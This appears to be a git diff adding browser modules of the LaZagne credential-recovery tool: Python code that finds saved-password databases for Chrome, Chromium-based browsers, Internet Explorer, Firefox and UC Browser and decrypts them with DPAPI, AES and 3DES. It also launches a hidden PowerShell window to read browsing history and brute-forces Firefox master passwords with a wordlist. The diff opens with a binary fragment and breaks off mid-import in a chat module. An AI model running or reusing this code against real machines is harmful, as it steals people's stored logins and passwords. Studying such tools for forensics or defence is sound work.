zk{ohbXffg1Jj8Yn{0WF(9hrrT{IZID|PgtMA|48WcSdUvD!TXpsjxb}*=11~}^P|?Vl@;|X zW<_(d$z{B7@^fddUOj*2`kBp}$&%en+<7R4OXR@ruhnj^hDQeF<}X}-_007P_I0~%a-!&SfV$w94CUAKP657t?;)4m-?s;BY z>UiPQpwc;!ce9^|^499}Z@MiPnzN76T#Dy*{L7HMM_Rbl?!xPNLHwIfQO>a|{-r1`CeBS<6vu4}x+*R1 zJn$OD$Q~{&sU%E==~SGpxSX7;YI?8zVaGVOUY7Ls3Nai1Gy|H7iSZBk0`cpDcY|q2J2?0s$i%%m4rY literal 0 HcmV?d00001 diff --git a/lazagne/softwares/browsers/chromium_based.py b/lazagne/softwares/browsers/chromium_based.py new file mode 100644 index 0000000..1f0b4e4 --- /dev/null +++ b/lazagne/softwares/browsers/chromium_based.py @@ -0,0 +1,246 @@ +# -*- coding: utf-8 -*- +import base64 +import json +import os +import random +import shutil +import sqlite3 +import string +import tempfile +import traceback + +from Crypto.Cipher import AES + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import Win32CryptUnprotectData +from lazagne.softwares.windows.credman import Credman + + +class ChromiumBased(ModuleInfo): + def __init__(self, browser_name, paths): + self.paths = paths if isinstance(paths, list) else [paths] + self.database_query = 'SELECT action_url, username_value, password_value FROM logins' + ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True) + + def _get_database_dirs(self): + """ + Return database directories for all profiles within all paths + """ + databases = set() + for path in [p.format(**constant.profile) for p in self.paths]: + profiles_path = os.path.join(path, u'Local State') + if os.path.exists(profiles_path): + master_key = None + # List all users profile (empty string means current dir, without a profile) + profiles = {'Default', ''} + + # Automatic join all other additional profiles + for dirs in os.listdir(path): + dirs_path = os.path.join(path, dirs) + if os.path.isdir(dirs_path) and dirs.startswith('Profile'): + profiles.add(dirs) + + with open(profiles_path) as f: + try: + data = json.load(f) + # Add profiles from json to Default profile. set removes duplicates + profiles |= set(data['profile']['info_cache']) + except Exception: + pass + + with open(profiles_path) as f: + try: + master_key = base64.b64decode(json.load(f)["os_crypt"]["encrypted_key"]) + master_key = master_key[5:] # removing DPAPI + master_key = Win32CryptUnprotectData(master_key, is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + except Exception: + master_key = None + + # Each profile has its own password database + for profile in profiles: + # Some browsers use names other than "Login Data" + # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18" + try: + db_files = os.listdir(os.path.join(path, profile)) + except Exception: + continue + for db in db_files: + if db.lower() in ['login data', 'ya passman data']: + databases.add((os.path.join(path, profile, db), master_key)) + return databases + + def _decrypt_v80(self, buff, master_key): + try: + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes + return decrypted_pass + except: + pass + + def _export_credentials(self, db_path, is_yandex=False, master_key=None): + """ + Export credentials from the given database + + :param unicode db_path: database path + :return: list of credentials + :rtype: tuple + """ + credentials = [] + yandex_enckey = None + + if is_yandex: + try: + credman_passwords = Credman().run() + for credman_password in credman_passwords: + if b'Yandex' in credman_password.get('URL', b''): + if credman_password.get('Password'): + yandex_enckey = credman_password.get('Password') + self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey))) + except Exception: + self.debug(traceback.format_exc()) + # Passwords could not be decrypted without encKey + self.info('EncKey has not been retrieved') + return [] + + try: + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + cursor.execute(self.database_query) + except Exception: + self.debug(traceback.format_exc()) + return credentials + + for url, login, password in cursor.fetchall(): + try: + # Yandex passwords use a masterkey stored on windows credential manager + # https://yandex.com/support/browser-passwords-crypto/without-master.html + if is_yandex and yandex_enckey: + try: + try: + p = json.loads(str(password)) + except Exception: + p = json.loads(password) + + password = base64.b64decode(p['p']) + except Exception: + # New version does not use json format + pass + + # Passwords are stored using AES-256-GCM algorithm + # The key used to encrypt is stored on the credential manager + + # yandex_enckey: + # - 4 bytes should be removed to be 256 bits + # - these 4 bytes correspond to the nonce ? + + # cipher = AES.new(yandex_enckey, AES.MODE_GCM) + # plaintext = cipher.decrypt(password) + # Failed... + else: + # Decrypt the Password + try: + password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + except AttributeError: + try: + password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + except: + password_bytes = None + + if password_bytes is not None: + password = password_bytes.decode("utf-8") + elif master_key: + password = self._decrypt_v80(password, master_key) + + if not url and not login and not password: + continue + + credentials.append((url, login, password)) + except Exception: + self.debug(traceback.format_exc()) + + conn.close() + return credentials + + def copy_db(self, database_path): + """ + Copying db will bypass lock errors + Using user tempfile will produce an error when impersonating users (Permission denied) + A public directory should be used if this error occured (e.g C:\\Users\\Public) + """ + random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)]) + root_dir = [ + tempfile.gettempdir(), + os.environ.get('PUBLIC', None), + os.environ.get('SystemDrive', None) + '\\', + ] + for r in root_dir: + try: + temp = os.path.join(r, random_name) + shutil.copy(database_path, temp) + self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp)) + return temp + except Exception: + self.debug(traceback.format_exc()) + return False + + def clean_file(self, db_path): + try: + os.remove(db_path) + except Exception: + self.debug(traceback.format_exc()) + + def run(self): + credentials = [] + for database_path, master_key in self._get_database_dirs(): + is_yandex = False if 'yandex' not in database_path.lower() else True + + # Remove Google Chrome false positif + if database_path.endswith('Login Data-journal'): + continue + + self.debug('Database found: {db}'.format(db=database_path)) + + # Copy database before to query it (bypass lock errors) + path = self.copy_db(database_path) + if path: + try: + credentials.extend(self._export_credentials(path, is_yandex, master_key)) + except Exception: + self.debug(traceback.format_exc()) + self.clean_file(path) + + return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)] + + +# Name, path or a list of paths +chromium_browsers = [ + (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'), + (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'), + (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'), + (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'), + (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'), + (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'), + (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'), + (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'), + (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based + (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'), + (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'), + (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'), + (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'), + (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'), + (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'), + (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'), + (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'), + (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'), + (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'), + (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data') +] + +chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers] diff --git a/lazagne/softwares/browsers/ie.py b/lazagne/softwares/browsers/ie.py new file mode 100644 index 0000000..79a714e --- /dev/null +++ b/lazagne/softwares/browsers/ie.py @@ -0,0 +1,196 @@ +import hashlib +import subprocess +import traceback + +import lazagne.config.winstructure as win +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + +try: + import _subprocess as sub + STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3 + SW_HIDE = sub.SW_HIDE +except ImportError: + STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW + SW_HIDE = subprocess.SW_HIDE + +try: + import _winreg as winreg +except ImportError: + import winreg + + +class IE(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True) + + def get_hash_table(self): + # get the url list + urls = self.get_history() + + # calculate the hash for all urls found on the history + hash_tables = [] + for u in range(len(urls)): + try: + h = (urls[u] + '\0').encode('UTF-16LE') + hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()]) + except Exception: + self.debug(traceback.format_exc()) + return hash_tables + + def get_history(self): + urls = self.history_from_regedit() + try: + urls = urls + self.history_from_powershell() + except Exception: + self.debug(traceback.format_exc()) + + urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/', + 'https://accounts.google.com/servicelogin'] + return urls + + def history_from_powershell(self): + # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/ + cmdline = ''' + function get-iehistory { + [CmdletBinding()] + param () + + $shell = New-Object -ComObject Shell.Application + $hist = $shell.NameSpace(34) + $folder = $hist.Self + + $hist.Items() | + foreach { + if ($_.IsFolder) { + $siteFolder = $_.GetFolder + $siteFolder.Items() | + foreach { + $site = $_ + + if ($site.IsFolder) { + $pageFolder = $site.GetFolder + $pageFolder.Items() | + foreach { + $visit = New-Object -TypeName PSObject -Property @{ + URL = $($pageFolder.GetDetailsOf($_,0)) + } + $visit + } + } + } + } + } + } + get-iehistory + ''' + command = ['powershell.exe', '/c', cmdline] + info = subprocess.STARTUPINFO() + info.dwFlags = STARTF_USESHOWWINDOW + info.wShowWindow = SW_HIDE + p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, + stdin=subprocess.PIPE, universal_newlines=True) + results, _ = p.communicate() + + urls = [] + for r in results.split('\n'): + if r.startswith('http'): + urls.append(r.strip()) + return urls + + def history_from_regedit(self): + urls = [] + try: + hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs') + except Exception: + self.debug(traceback.format_exc()) + return [] + + num = winreg.QueryInfoKey(hkey)[1] + for x in range(0, num): + k = winreg.EnumValue(hkey, x) + if k: + urls.append(k[1]) + winreg.CloseKey(hkey) + return urls + + def decipher_password(self, cipher_text, u): + pwd_found = [] + # deciper the password + pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + if not pwd: + return [] + + separator = b"\x00\x00" + if pwd.endswith(separator): + pwd = pwd[: -len(separator)] + + chunks_reversed = pwd.rsplit(separator)[::-1] # , , ..., , , + + # Filter out service data + possible_passwords = [x for n, x in enumerate(chunks_reversed) if n % 2 == 0] + possible_logins = [x for n, x in enumerate(chunks_reversed) if n % 2 == 1] + for possible_login, possible_password in zip(possible_logins, possible_passwords): + # Service data starts with several blocks of "<2_bytes>\x00\x00<10_bytes>" + if len(pwd_found) > 0 and len(possible_login) == 2 and len(possible_password) == 10: + break + + try: + possible_login_str = possible_login.decode('UTF-16LE') + possible_password_str = possible_password.decode('UTF-16LE') + except UnicodeDecodeError: + if len(pwd_found) > 0: + # Some passwords have been found. Assume this is service data. + break + + # No passwords have been found. Assume login or password contains some chars which could not be decoded + possible_login_str = str(possible_password) + possible_password_str = str(possible_password) + + pwd_found.append({ + 'URL': u.decode('UTF-16LE'), + 'Login': possible_login_str, + 'Password': possible_password_str + }) + + return pwd_found + + def run(self): + if float(win.get_os_version()) > 6.1: + self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)') + return + + pwd_found = [] + try: + hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2') + except Exception: + self.debug(traceback.format_exc()) + else: + nb_site = 0 + nb_pass_found = 0 + + # retrieve the urls from the history + hash_tables = self.get_hash_table() + + num = winreg.QueryInfoKey(hkey)[1] + for x in range(0, num): + k = winreg.EnumValue(hkey, x) + if k: + nb_site += 1 + for h in hash_tables: + # both hash are similar, we can decipher the password + if h[1] == k[0][:40].lower(): + nb_pass_found += 1 + cipher_text = k[1] + pwd_found += self.decipher_password(cipher_text, h[0]) + break + + winreg.CloseKey(hkey) + + # manage errors + if nb_site > nb_pass_found: + self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the ' + u'passwords has not been found' % str(nb_site - nb_pass_found)) + + return pwd_found diff --git a/lazagne/softwares/browsers/mozilla.py b/lazagne/softwares/browsers/mozilla.py new file mode 100644 index 0000000..4f18b2f --- /dev/null +++ b/lazagne/softwares/browsers/mozilla.py @@ -0,0 +1,576 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) +# from https://github.com/lclevy/firepwd/blob/master/firepwd.py + +import hmac +import json +import sqlite3 +import struct +import sys +import traceback +import os + +#from lazagne.config.module_info import ModuleInfo +from lazagne.config.crypto.pyDes import triple_des, CBC +from lazagne.config.crypto.pyaes import AESModeOfOperationCBC +from lazagne.config.dico import get_dic +from lazagne.config.constant import constant +from pyasn1.codec.der import decoder +from binascii import unhexlify +from base64 import b64decode +#from lazagne.config.winstructure import char_to_int, convert_to_byte +from hashlib import sha1, pbkdf2_hmac +import logging + +try: + from ConfigParser import RawConfigParser # Python 2.7 +except ImportError: + from configparser import RawConfigParser # Python 3 + +if sys.version_info[0]: + python_version = sys.version_info[0] + +def l(n): + try: + return long(n) + except NameError: + return int(n) + + +CKA_ID = unhexlify('f8000000000000000000000000000001') +AES_BLOCK_SIZE = 16 +def char_to_int(value): + return ord(value) + +def convert_to_byte(mystring): + return bytes(mystring, 'utf-8') + +def long_to_bytes(n, blocksize=0): + """long_to_bytes(n:long, blocksize:int) : string + Convert a long integer to a byte string. + If optional blocksize is given and greater than zero, pad the front of the + byte string with binary zeros so that the length is a multiple of + blocksize. + """ + # after much testing, this algorithm was deemed to be the fastest + s = convert_to_byte('') + n = l(n) + while n > 0: + s = struct.pack('>I', n & 0xffffffff) + s + n = n >> 32 + + # strip off leading zeros + for i in range(len(s)): + if s[i] != convert_to_byte('\000')[0]: + break + else: + # only happens when n == 0 + s = convert_to_byte('\000') + i = 0 + s = s[i:] + # add back some pad bytes. this could be done more efficiently w.r.t. the + # de-padding being done above, but sigh... + if blocksize > 0 and len(s) % blocksize: + s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s + + return s + + +class Mozilla(): + #Removing ModuleInfo reference to support on linux system + # + def __init__(self, browser_name, path,logger=logging): + self.path = path + self.logging=logger + #ModuleInfo.__init__(self, browser_name, category='browsers') + # Removing ModuleInfo reference to support on linux system + self.name = browser_name + self.category = 'browsers' + self.debug(f'Mozilla For {self.name} - {self.path}') + + def error(self, message): + self.logging.error(message) + + def info(self, message): + self.logging.info(message) + + def debug(self, message): + self.logging.debug(message) + + def warning(self, message): + self.logging.warning(message) + + def get_firefox_profiles(self, directory): + """ + List all profiles + """ + cp = RawConfigParser() + profile_list = [] + + try: + cp.read(os.path.join(directory, 'profiles.ini')) + for section in cp.sections(): + if section.startswith('Profile') and cp.has_option(section, 'Path'): + profile_path = None + + if cp.has_option(section, 'IsRelative'): + if cp.get(section, 'IsRelative') == '1': + profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) + elif cp.get(section, 'IsRelative') == '0': + profile_path = cp.get(section, 'Path').strip() + + else: # No "IsRelative" in profiles.ini + profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) + + if profile_path: + #profile_path = profile_path.replace('/', '\\') + profile_list.append(profile_path) + + except Exception as e: + self.error(u'An error occurred while reading profiles.ini: {}'.format(e)) + return profile_list + + def get_key(self, profile): + """ + Get main key used to encrypt all data (user / password). + Depending on the Firefox version, could be stored in key3.db or key4.db file. + """ + try: + row = None + # Remove error when file is empty + with open(os.path.join(profile, 'key4.db'), 'rb') as f: + content = f.read() + + if content: + conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite + c = conn.cursor() + # First check password + c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") + try: + row = c.next() # Python 2 + except Exception: + row = next(c) # Python 3 + + except Exception: + self.debug(traceback.format_exc()) + + else: + if row: + (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row) + + if global_salt: + try: + # Decrypt 3DES key to decrypt "logins.json" content + c.execute("SELECT a11,a102 FROM nssPrivate;") + for row in c: + if row[0]: + break + + a11 = row[0] # CKA_VALUE + a102 = row[1] # f8000000000000000000000000000001, CKA_ID + + if python_version == 2: + a102 = str(a102) + + if a102 == CKA_ID: + # a11 : CKA_VALUE + # a102 : f8000000000000000000000000000001, CKA_ID + # self.print_asn1(a11, len(a11), 0) + # SEQUENCE { + # SEQUENCE { + # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 + # SEQUENCE { + # OCTETSTRING entry_salt_for_3des_key + # INTEGER 01 + # } + # } + # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) + # } + decoded_a11 = decoder.decode(a11) + key = self.decrypt_3des(decoded_a11, master_password, global_salt) + if key: + self.debug(u'key: {key}'.format(key=repr(key))) + yield key[:24] + # else: + # Nothing saved + + except Exception: + self.debug(traceback.format_exc()) + + try: + key3_file = os.path.join(profile, 'key3.db') + if os.path.exists(key3_file): + key_data = self.read_bsddb(key3_file) + # Check masterpassword + (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'', + key_data=key_data, + new_version=False) + if global_salt: + key = self.extract_secret_key(key_data=key_data, + global_salt=global_salt, + master_password=master_password, + entry_salt=entry_salt) + if key: + self.debug(u'key: {key}'.format(key=repr(key))) + yield key[:24] + except Exception: + self.debug(traceback.format_exc()) + + @staticmethod + def get_short_le(d, a): + return struct.unpack('L', d[a:a + 4])[0] + + def print_asn1(self, d, l, rl): + """ + Used for debug + """ + type_ = char_to_int(d[0]) + length = char_to_int(d[1]) + if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, + # nByteLength = length & 0x7f + length = char_to_int(d[2]) + # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and + # bits 7-1 give the number of additional length octets. + skip = 1 + else: + skip = 0 + + if type_ == 0x30: + seq_len = length + read_len = 0 + while seq_len > 0: + len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1) + seq_len = seq_len - len2 + read_len = read_len + len2 + return length + 2 + elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER + return length + 2 + elif length == l - 2: + self.print_asn1(d[2:], length, rl + 1) + return length + + def read_bsddb(self, name): + """ + Extract records from a BSD DB 1.85, hash mode + Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used + """ + with open(name, 'rb') as f: + # http://download.oracle.com/berkeley-db/db.1.85.tar.gz + header = f.read(4 * 15) + magic = self.get_long_be(header, 0) + if magic != 0x61561: + self.warning(u'Bad magic number') + return False + + version = self.get_long_be(header, 4) + if version != 2: + self.warning(u'Bad version !=2 (1.85)') + return False + + pagesize = self.get_long_be(header, 12) + nkeys = self.get_long_be(header, 0x38) + readkeys = 0 + page = 1 + db1 = [] + + while readkeys < nkeys: + f.seek(pagesize * page) + offsets = f.read((nkeys + 1) * 4 + 2) + offset_vals = [] + i = 0 + nval = 0 + val = 1 + keys = 0 + + while nval != val: + keys += 1 + key = self.get_short_le(offsets, 2 + i) + val = self.get_short_le(offsets, 4 + i) + nval = self.get_short_le(offsets, 8 + i) + offset_vals.append(key + pagesize * page) + offset_vals.append(val + pagesize * page) + readkeys += 1 + i += 4 + + offset_vals.append(pagesize * (page + 1)) + val_key = sorted(offset_vals) + for i in range(keys * 2): + f.seek(val_key[i]) + data = f.read(val_key[i + 1] - val_key[i]) + db1.append(data) + page += 1 + + db = {} + for i in range(0, len(db1), 2): + db[db1[i + 1]] = db1[i] + + return db + + @staticmethod + def decrypt_3des(decoded_item, master_password, global_salt): + """ + User master key is also encrypted (if provided, the master_password could be used to encrypt it) + """ + # See http://www.drh-consultancy.demon.co.uk/key3.html + pbeAlgo = str(decoded_item[0][0][0]) + if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC + entry_salt = decoded_item[0][0][1][0].asOctets() + cipher_t = decoded_item[0][1].asOctets() + + # See http://www.drh-consultancy.demon.co.uk/key3.html + hp = sha1(global_salt + master_password).digest() + pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt)) + chp = sha1(hp + entry_salt).digest() + k1 = hmac.new(chp, pes + entry_salt, sha1).digest() + tk = hmac.new(chp, pes, sha1).digest() + k2 = hmac.new(chp, tk + entry_salt, sha1).digest() + k = k1 + k2 + iv = k[-8:] + key = k[:24] + return triple_des(key, CBC, iv).decrypt(cipher_t) + + # New version + elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 + + assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' + assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' + assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' + # https://tools.ietf.org/html/rfc8018#page-23 + entry_salt = decoded_item[0][0][1][0][1][0].asOctets() + iteration_count = int(decoded_item[0][0][1][0][1][1]) + key_length = int(decoded_item[0][0][1][0][1][2]) + assert key_length == 32 + + k = sha1(global_salt + master_password).digest() + key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) + + # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 + iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() + # 04 is OCTETSTRING, 0x0e is length == 14 + encrypted_value = decoded_item[0][1].asOctets() + aes = AESModeOfOperationCBC(key, iv=iv) + cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE]) + for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)]) + + return cleartxt + + def extract_secret_key(self, key_data, global_salt, master_password, entry_salt): + + if unhexlify('f8000000000000000000000000000001') not in key_data: + return None + + priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')] + salt_len = char_to_int(priv_key_entry[1]) + name_len = char_to_int(priv_key_entry[2]) + priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:]) + # data = priv_key_entry[3 + salt_len + name_len:] + # self.print_asn1(data, len(data), 0) + + # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt + priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt) + # self.print_asn1(priv_key, len(priv_key), 0) + priv_key_asn1 = decoder.decode(priv_key) + pr_key = priv_key_asn1[0][2].asOctets() + # self.print_asn1(pr_key, len(pr_key), 0) + pr_key_asn1 = decoder.decode(pr_key) + # id = pr_key_asn1[0][1] + key = long_to_bytes(pr_key_asn1[0][3]) + return key + + @staticmethod + def decode_login_data(data): + asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode + # For login and password, keep :(key_id, iv, ciphertext) + return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() + + def get_login_data(self, profile): + """ + Get encrypted data (user / password) and host from the json or sqlite files + """ + logins = [] + self.debug(f'PROFIL {profile}') + try: + conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite')) + + c = conn.cursor() + + c.execute('SELECT * FROM moz_logins;') + + # Using sqlite3 database + for row in c: + enc_username = row[6] + enc_password = row[7] + logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) + return logins + except :#sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 + self.debug(f'Got sqlite Exception') + try: + logins_json = os.path.join(profile, 'logins.json') + if os.path.isfile(logins_json): + with open(logins_json) as f: + loginf = f.read() + if loginf: + json_logins = json.loads(loginf) + if 'logins' not in json_logins: + self.debug('No logins key in logins.json') + return logins + for row in json_logins['logins']: + enc_username = row['encryptedUsername'] + enc_password = row['encryptedPassword'] + self.debug(f'Found {enc_username} - {enc_password}') + logins.append((self.decode_login_data(enc_username), + self.decode_login_data(enc_password), row['hostname'])) + self.debug(f'{logins}') + return logins + else: + self.debug(f'No loginf') + else: + self.debug(f'logins.json {logins_json} not found') + except Exception: + self.debug("Exception in GetLoign") + self.debug(traceback.format_exc()) + return [] + return logins + + def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True): + """ + Check if a master password is set. + If so, try to find it using a dictionary attack + """ + (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password, + key_data=key_data, + new_version=new_version) + + if not global_salt: + self.info(u'Master Password is used !') + (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data, + new_version=new_version) + if not master_password: + return '', '', '' + + return global_salt, master_password, entry_salt + + def is_master_password_correct(self, key_data, master_password=b'', new_version=True): + try: + entry_salt = b"" + if not new_version: + # See http://www.drh-consultancy.demon.co.uk/key3.html + pwd_check = key_data.get(b'password-check') + if not pwd_check: + return '', '', '' + # Hope not breaking something (not tested for old version) + # entry_salt_len = char_to_int(pwd_check[1]) + # entry_salt = pwd_check[3: 3 + entry_salt_len] + # encrypted_passwd = pwd_check[-16:] + global_salt = key_data[b'global-salt'] + + else: + global_salt = key_data[0] # Item1 + item2 = key_data[1] + # self.print_asn1(item2, len(item2), 0) + # SEQUENCE { + # SEQUENCE { + # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 + # SEQUENCE { + # OCTETSTRING entry_salt_for_passwd_check + # INTEGER 01 + # } + # } + # OCTETSTRING encrypted_password_check + # } + decoded_item2 = decoder.decode(item2) + + cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) + if cleartext_data != convert_to_byte('password-check\x02\x02'): + return '', '', '' + + return global_salt, master_password, entry_salt + except Exception: + self.debug(traceback.format_exc()) + return '', '', '' + + def brute_master_password(self, key_data, new_version=True): + """ + Try to find master_password doing a dictionary attack using the 500 most used passwords + """ + wordlist = constant.password_found + get_dic() + num_lines = (len(wordlist) - 1) + self.info(u'%d most used passwords !!! ' % num_lines) + + for word in wordlist: + global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data, + master_password=word.strip(), + new_version=new_version) + if master_password: + self.info(u'Master password found: {}'.format(master_password)) + return global_salt, master_password, entry_salt + + self.warning(u'No password has been found using the default list') + return '', '', '' + + def remove_padding(self, data): + """ + Remove PKCS#7 padding + """ + try: + nb = struct.unpack('B', data[-1])[0] # Python 2 + except Exception: + nb = data[-1] # Python 3 + + try: + return data[:-nb] + except Exception: + self.debug(traceback.format_exc()) + return data + + def decrypt(self, key, iv, ciphertext): + """ + Decrypt ciphered data (user / password) using the key previously found + """ + data = triple_des(key, CBC, iv).decrypt(ciphertext) + return self.remove_padding(data) + + def run(self): + """ + Main function + """ + pwd_found = [] + self.path = self.path.format(**constant.profile) + if os.path.exists(self.path): + for profile in self.get_firefox_profiles(self.path): + self.debug(u'Profile path found: {profile}'.format(profile=profile)) + + credentials = self.get_login_data(profile) + if credentials: + for key in self.get_key(profile): + for user, passw, url in credentials: + self.debug(f'Will try to decode {user}, {passw}, {url}') + try: + pwd_found.append({ + 'URL': url, + 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'), + 'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode('utf-8'), + }) + except Exception: + self.debug(u'An error occured decrypting the password: {error}'.format(error=traceback.format_exc())) + else: + self.debug(f'Database empty - {profile}') + return pwd_found + + +# Name, path +firefox_browsers = [ + (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'), + (u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'), + (u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'), + (u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'), + (u'k-Meleon', u'{APPDATA}\\K-Meleon'), + (u'icecat', u'{APPDATA}\\Mozilla\\icecat'), +] + +#firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers] diff --git a/lazagne/softwares/browsers/ucbrowser.py b/lazagne/softwares/browsers/ucbrowser.py new file mode 100644 index 0000000..c9525cb --- /dev/null +++ b/lazagne/softwares/browsers/ucbrowser.py @@ -0,0 +1,21 @@ +# -*- coding: utf-8 -*- +import os + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo +from lazagne.softwares.browsers.chromium_based import ChromiumBased + + +class UCBrowser(ChromiumBased): + def __init__(self): + self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins' + ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True) + + def _get_database_dirs(self): + data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile) + try: + # UC Browser seems to have random characters appended to the User Data dir so we'll list them all + self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)] + except Exception: + self.paths = [] + return ChromiumBased._get_database_dirs(self) diff --git a/lazagne/softwares/chats/__init__.py b/lazagne/softwares/chats/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/chats/pidgin.py b/lazagne/softwares/chats/pidgin.py new file mode 100644 index 0000000..044fe82 --- /dev/null +++ b/lazagne/softwares/chats/pidgin.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +import os +from xml.etree.cElementTree 